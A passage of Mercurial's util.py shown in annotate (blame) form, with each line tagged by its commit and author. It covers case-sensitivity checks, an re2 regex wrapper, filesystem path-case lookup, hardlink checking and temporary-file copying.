1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2105 Requires a path (like /foo/.hg) ending with a foldable final
1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2106 directory component.
1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2107 """
24902 986a5c23b1c1 util.checkcase: don't abort on broken symlinks Siddharth Agarwal <sid0@fb.com> parents: 24692 diff changeset	2108 s1 = os.lstat(path)
3784 1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2109 d, b = os.path.split(path)
15667 eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15609 diff changeset	2110 b2 = b.upper()
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15609 diff changeset	2111 if b == b2:
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15609 diff changeset	2112 b2 = b.lower()
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15609 diff changeset	2113 if b == b2:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2114 return True # no evidence against case sensitivity
15667 eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15609 diff changeset	2115 p2 = os.path.join(d, b2)
3784 1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2116 try:
24902 986a5c23b1c1 util.checkcase: don't abort on broken symlinks Siddharth Agarwal <sid0@fb.com> parents: 24692 diff changeset	2117 s2 = os.lstat(p2)
3784 1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2118 if s2 == s1:
1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2119 return False
1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2120 return True
14004 97ed99d1f419 eliminate various naked except clauses Idan Kamara <idankk86@gmail.com> parents: 13985 diff changeset	2121 except OSError:
3784 1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2122 return True
1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2123
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2124
16943 8d08a28aa63e matcher: use re2 bindings if available Bryan O'Sullivan <bryano@fb.com> parents: 16873 diff changeset	2125 try:
8d08a28aa63e matcher: use re2 bindings if available Bryan O'Sullivan <bryano@fb.com> parents: 16873 diff changeset	2126 import re2
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2127
16943 8d08a28aa63e matcher: use re2 bindings if available Bryan O'Sullivan <bryano@fb.com> parents: 16873 diff changeset	2128 _re2 = None
8d08a28aa63e matcher: use re2 bindings if available Bryan O'Sullivan <bryano@fb.com> parents: 16873 diff changeset	2129 except ImportError:
8d08a28aa63e matcher: use re2 bindings if available Bryan O'Sullivan <bryano@fb.com> parents: 16873 diff changeset	2130 _re2 = False
8d08a28aa63e matcher: use re2 bindings if available Bryan O'Sullivan <bryano@fb.com> parents: 16873 diff changeset	2131
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2132
21908 cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2133 class _re(object):
21913 50aad4609224 util.re: move check for re2 into a separate method Siddharth Agarwal <sid0@fb.com> parents: 21912 diff changeset	2134 def _checkre2(self):
50aad4609224 util.re: move check for re2 into a separate method Siddharth Agarwal <sid0@fb.com> parents: 21912 diff changeset	2135 global _re2
50aad4609224 util.re: move check for re2 into a separate method Siddharth Agarwal <sid0@fb.com> parents: 21912 diff changeset	2136 try:
50aad4609224 util.re: move check for re2 into a separate method Siddharth Agarwal <sid0@fb.com> parents: 21912 diff changeset	2137 # check if match works, see issue3964
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2138 _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
21913 50aad4609224 util.re: move check for re2 into a separate method Siddharth Agarwal <sid0@fb.com> parents: 21912 diff changeset	2139 except ImportError:
50aad4609224 util.re: move check for re2 into a separate method Siddharth Agarwal <sid0@fb.com> parents: 21912 diff changeset	2140 _re2 = False
50aad4609224 util.re: move check for re2 into a separate method Siddharth Agarwal <sid0@fb.com> parents: 21912 diff changeset	2141
21908 cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2142 def compile(self, pat, flags=0):
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2143 '''Compile a regular expression, using re2 if possible
16943 8d08a28aa63e matcher: use re2 bindings if available Bryan O'Sullivan <bryano@fb.com> parents: 16873 diff changeset	2144
21908 cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2145 For best performance, use only re2-compatible regexp features. The
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2146 only flags from the re module that are re2-compatible are
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2147 IGNORECASE and MULTILINE.'''
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2148 if _re2 is None:
21913 50aad4609224 util.re: move check for re2 into a separate method Siddharth Agarwal <sid0@fb.com> parents: 21912 diff changeset	2149 self._checkre2()
21908 cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2150 if _re2 and (flags & ~(remod.IGNORECASE \| remod.MULTILINE)) == 0:
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2151 if flags & remod.IGNORECASE:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2152 pat = b'(?i)' + pat
21908 cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2153 if flags & remod.MULTILINE:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2154 pat = b'(?m)' + pat
21908 cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2155 try:
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2156 return re2.compile(pat)
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2157 except re2.error:
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2158 pass
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2159 return remod.compile(pat, flags)
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2160
21914 10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2161 @propertycache
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2162 def escape(self):
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2163 '''Return the version of escape corresponding to self.compile.
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2164
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2165 This is imperfect because whether re2 or re is used for a particular
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2166 function depends on the flags, etc, but it's the best we can do.
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2167 '''
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2168 global _re2
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2169 if _re2 is None:
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2170 self._checkre2()
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2171 if _re2:
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2172 return re2.escape
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2173 else:
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2174 return remod.escape
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2175
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2176
21908 cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2177 re = _re()
16943 8d08a28aa63e matcher: use re2 bindings if available Bryan O'Sullivan <bryano@fb.com> parents: 16873 diff changeset	2178
6676 33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2179 _fspathcache = {}
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2180
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2181
6676 33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2182 def fspath(name, root):
33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2183 '''Get name in the case stored in the filesystem
33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2184
15710 f63e40047372 icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15709 diff changeset	2185 The name should be relative to root, and be normcase-ed for efficiency.
f63e40047372 icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15709 diff changeset	2186
f63e40047372 icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15709 diff changeset	2187 Note that this function is unnecessary, and should not be
6676 33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2188 called, for case-sensitive filesystems (simply because it's expensive).
15670 d6c19cfa03ce icasefs: avoid normcase()-ing in util.fspath() for efficiency FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15669 diff changeset	2189
15710 f63e40047372 icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15709 diff changeset	2190 The root should be normcase-ed, too.
6676 33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2191 '''
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2192
23097 30124c40d11f util.fspath: use a dict rather than a linear scan for lookups Siddharth Agarwal <sid0@fb.com> parents: 23076 diff changeset	2193 def _makefspathcacheentry(dir):
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups Siddharth Agarwal <sid0@fb.com> parents: 23076 diff changeset	2194 return dict((normcase(n), n) for n in os.listdir(dir))
15709 a1f4bd47d18e icasefs: retry directory scan once for already invalidated cache FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15674 diff changeset	2195
30618 1112ff99d965 py3: replace os.sep with pycompat.ossep (part 1 of 4) Pulkit Goyal <7895pulkit@gmail.com> parents: 30545 diff changeset	2196 seps = pycompat.ossep
30630 bcf4a975f93d py3: replace os.altsep with pycompat.altsep Pulkit Goyal <7895pulkit@gmail.com> parents: 30618 diff changeset	2197 if pycompat.osaltsep:
bcf4a975f93d py3: replace os.altsep with pycompat.altsep Pulkit Goyal <7895pulkit@gmail.com> parents: 30618 diff changeset	2198 seps = seps + pycompat.osaltsep
6676 33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2199 # Protect backslashes. This gets silly very quickly.
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2200 seps.replace(b'\\', b'\\\\')
31503 670166e0fcaa util: use bytes re on bytes input in fspath Augie Fackler <augie@google.com> parents: 31502 diff changeset	2201 pattern = remod.compile(br'([^%s]+)\|([%s]+)' % (seps, seps))
15669 390bcd01775a icasefs: use util.normcase() instead of lower() or os.path.normcase in fspath FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15667 diff changeset	2202 dir = os.path.normpath(root)
6676 33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2203 result = []
33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2204 for part, sep in pattern.findall(name):
33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2205 if sep:
33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2206 result.append(sep)
33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2207 continue
33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2208
15719 1dd60426b061 icasefs: follow standard cache look up pattern FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15718 diff changeset	2209 if dir not in _fspathcache:
23097 30124c40d11f util.fspath: use a dict rather than a linear scan for lookups Siddharth Agarwal <sid0@fb.com> parents: 23076 diff changeset	2210 _fspathcache[dir] = _makefspathcacheentry(dir)
15719 1dd60426b061 icasefs: follow standard cache look up pattern FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15718 diff changeset	2211 contents = _fspathcache[dir]
6676 33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2212
23097 30124c40d11f util.fspath: use a dict rather than a linear scan for lookups Siddharth Agarwal <sid0@fb.com> parents: 23076 diff changeset	2213 found = contents.get(part)
15709 a1f4bd47d18e icasefs: retry directory scan once for already invalidated cache FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15674 diff changeset	2214 if not found:
15720 3bcfea777efc icasefs: rewrite comment to explain situtation precisely FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15719 diff changeset	2215 # retry "once per directory" per "dirstate.walk" which
3bcfea777efc icasefs: rewrite comment to explain situtation precisely FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15719 diff changeset	2216 # may take place for each patches of "hg qpush", for example
23097 30124c40d11f util.fspath: use a dict rather than a linear scan for lookups Siddharth Agarwal <sid0@fb.com> parents: 23076 diff changeset	2217 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups Siddharth Agarwal <sid0@fb.com> parents: 23076 diff changeset	2218 found = contents.get(part)
15709 a1f4bd47d18e icasefs: retry directory scan once for already invalidated cache FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15674 diff changeset	2219
a1f4bd47d18e icasefs: retry directory scan once for already invalidated cache FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15674 diff changeset	2220 result.append(found or part)
15669 390bcd01775a icasefs: use util.normcase() instead of lower() or os.path.normcase in fspath FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15667 diff changeset	2221 dir = os.path.join(dir, part)
6676 33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2222
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2223 return b''.join(result)
6676 33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2224
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2225
12938 bf826c0b9537 opener: check hardlink count reporting (issue1866) Adrian Buehlmann <adrian@cadifra.com> parents: 12927 diff changeset	2226 def checknlink(testfile):
bf826c0b9537 opener: check hardlink count reporting (issue1866) Adrian Buehlmann <adrian@cadifra.com> parents: 12927 diff changeset	2227 '''check whether hardlink count reporting works properly'''
bf826c0b9537 opener: check hardlink count reporting (issue1866) Adrian Buehlmann <adrian@cadifra.com> parents: 12927 diff changeset	2228
13204 5b83ab614dab checknlink: use two testfiles (issue2543) Adrian Buehlmann <adrian@cadifra.com> parents: 13188 diff changeset	2229 # testfile may be open, so we need a separate file for checking to
5b83ab614dab checknlink: use two testfiles (issue2543) Adrian Buehlmann <adrian@cadifra.com> parents: 13188 diff changeset	2230 # work around issue2543 (or testfile may get lost on Samba shares)
34101 6c5cdb02f2f9 checknlink: rename file object from 'fd' to 'fp' Jun Wu <quark@fb.com> parents: 34096 diff changeset	2231 f1, f2, fp = None, None, None
12938 bf826c0b9537 opener: check hardlink count reporting (issue1866) Adrian Buehlmann <adrian@cadifra.com> parents: 12927 diff changeset	2232 try:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2233 fd, f1 = pycompat.mkstemp(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2234 prefix=b'.%s-' % os.path.basename(testfile),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2235 suffix=b'1~',
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2236 dir=os.path.dirname(testfile),
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2237 )
34096 1104718fb090 checknlink: use a random temp file name for checking Jun Wu <quark@fb.com> parents: 34089 diff changeset	2238 os.close(fd)
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2239 f2 = b'%s2~' % f1[:-2]
34096 1104718fb090 checknlink: use a random temp file name for checking Jun Wu <quark@fb.com> parents: 34089 diff changeset	2240
25088 754df8e932d3 util: use try/except/finally Matt Mackall <mpm@selenic.com> parents: 24902 diff changeset	2241 oslink(f1, f2)
12938 bf826c0b9537 opener: check hardlink count reporting (issue1866) Adrian Buehlmann <adrian@cadifra.com> parents: 12927 diff changeset	2242 # nlinks() may behave differently for files on Windows shares if
bf826c0b9537 opener: check hardlink count reporting (issue1866) Adrian Buehlmann <adrian@cadifra.com> parents: 12927 diff changeset	2243 # the file is open.
34101 6c5cdb02f2f9 checknlink: rename file object from 'fd' to 'fp' Jun Wu <quark@fb.com> parents: 34096 diff changeset	2244 fp = posixfile(f2)
13204 5b83ab614dab checknlink: use two testfiles (issue2543) Adrian Buehlmann <adrian@cadifra.com> parents: 13188 diff changeset	2245 return nlinks(f2) > 1
25088 754df8e932d3 util: use try/except/finally Matt Mackall <mpm@selenic.com> parents: 24902 diff changeset	2246 except OSError:
754df8e932d3 util: use try/except/finally Matt Mackall <mpm@selenic.com> parents: 24902 diff changeset	2247 return False
12938 bf826c0b9537 opener: check hardlink count reporting (issue1866) Adrian Buehlmann <adrian@cadifra.com> parents: 12927 diff changeset	2248 finally:
34101 6c5cdb02f2f9 checknlink: rename file object from 'fd' to 'fp' Jun Wu <quark@fb.com> parents: 34096 diff changeset	2249 if fp is not None:
6c5cdb02f2f9 checknlink: rename file object from 'fd' to 'fp' Jun Wu <quark@fb.com> parents: 34096 diff changeset	2250 fp.close()
13204 5b83ab614dab checknlink: use two testfiles (issue2543) Adrian Buehlmann <adrian@cadifra.com> parents: 13188 diff changeset	2251 for f in (f1, f2):
5b83ab614dab checknlink: use two testfiles (issue2543) Adrian Buehlmann <adrian@cadifra.com> parents: 13188 diff changeset	2252 try:
34096 1104718fb090 checknlink: use a random temp file name for checking Jun Wu <quark@fb.com> parents: 34089 diff changeset	2253 if f is not None:
1104718fb090 checknlink: use a random temp file name for checking Jun Wu <quark@fb.com> parents: 34089 diff changeset	2254 os.unlink(f)
13204 5b83ab614dab checknlink: use two testfiles (issue2543) Adrian Buehlmann <adrian@cadifra.com> parents: 13188 diff changeset	2255 except OSError:
5b83ab614dab checknlink: use two testfiles (issue2543) Adrian Buehlmann <adrian@cadifra.com> parents: 13188 diff changeset	2256 pass
12938 bf826c0b9537 opener: check hardlink count reporting (issue1866) Adrian Buehlmann <adrian@cadifra.com> parents: 12927 diff changeset	2257
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2258
5843 83c354c4d529 Add endswithsep() and use it instead of using os.sep and os.altsep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5802 diff changeset	2259 def endswithsep(path):
83c354c4d529 Add endswithsep() and use it instead of using os.sep and os.altsep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5802 diff changeset	2260 '''Check path ends with os.sep or os.altsep.'''
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2261 return (
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2262 path.endswith(pycompat.ossep)
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2263 or pycompat.osaltsep
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2264 and path.endswith(pycompat.osaltsep)
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2265 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2266
5843 83c354c4d529 Add endswithsep() and use it instead of using os.sep and os.altsep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5802 diff changeset	2267
5844 07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5843 diff changeset	2268 def splitpath(path):
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5843 diff changeset	2269 '''Split path by os.sep.
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5843 diff changeset	2270 Note that this function does not use os.altsep because this is
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5843 diff changeset	2271 an alternative of simple "xxx.split(os.sep)".
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5843 diff changeset	2272 It is recommended to use os.path.normpath() before using this
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5843 diff changeset	2273 function if need.'''
30618 1112ff99d965 py3: replace os.sep with pycompat.ossep (part 1 of 4) Pulkit Goyal <7895pulkit@gmail.com> parents: 30545 diff changeset	2274 return path.split(pycompat.ossep)
5844 07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5843 diff changeset	2275
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2276
41289 593f6359681d update: fix edge-case with update.atomic-file and read-only files Boris Feld <boris.feld@octobus.net> parents: 40898 diff changeset	2277 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2278 """Create a temporary file with the same contents from name
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2279
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2280 The permission bits are copied from the original file.
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2281
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2282 If the temporary file is going to be truncated immediately, you
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2283 can use emptyok=True as an optimization.
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2284
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2285 Returns the name of the temporary file.
2176 9b42304d9896 fix file handling bugs on windows. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2117 diff changeset	2286 """
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2287 d, fn = os.path.split(name)
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2288 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2289 os.close(fd)
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2290 # Temporary files are created with mode 0600, which is usually not
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2291 # what we want. If the original file already exists, just copy
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2292 # its mode. Otherwise, manually obey umask.
41289 593f6359681d update: fix edge-case with update.atomic-file and read-only files Boris Feld <boris.feld@octobus.net> parents: 40898 diff changeset	2293 copymode(name, temp, createmode, enforcewritable)
593f6359681d update: fix edge-case with update.atomic-file and read-only files Boris Feld <boris.feld@octobus.net> parents: 40898 diff changeset	2294
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2295 if emptyok:
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2296 return temp
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2297 try:
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2298 try:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2299 ifp = posixfile(name, b"rb")
25660 328739ea70c3 global: mass rewrite to use modern exception syntax Gregory Szorc <gregory.szorc@gmail.com> parents: 25420 diff changeset	2300 except IOError as inst:
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2301 if inst.errno == errno.ENOENT:
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2302 return temp
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2303 if not getattr(inst, 'filename', None):
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2304 inst.filename = name
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2305 raise
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2306 ofp = posixfile(temp, b"wb")
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2307 for chunk in filechunkiter(ifp):
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2308 ofp.write(chunk)
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2309 ifp.close()
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2310 ofp.close()
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2311 except: # re-raises
34436 5326e4ef1dab style: never put multiple statements on one line Alex Gaynor <agaynor@mozilla.com> parents: 34363 diff changeset	2312 try:
5326e4ef1dab style: never put multiple statements on one line Alex Gaynor <agaynor@mozilla.com> parents: 34363 diff changeset	2313 os.unlink(temp)
5326e4ef1dab style: never put multiple statements on one line Alex Gaynor <agaynor@mozilla.com> parents: 34363 diff changeset	2314 except OSError:
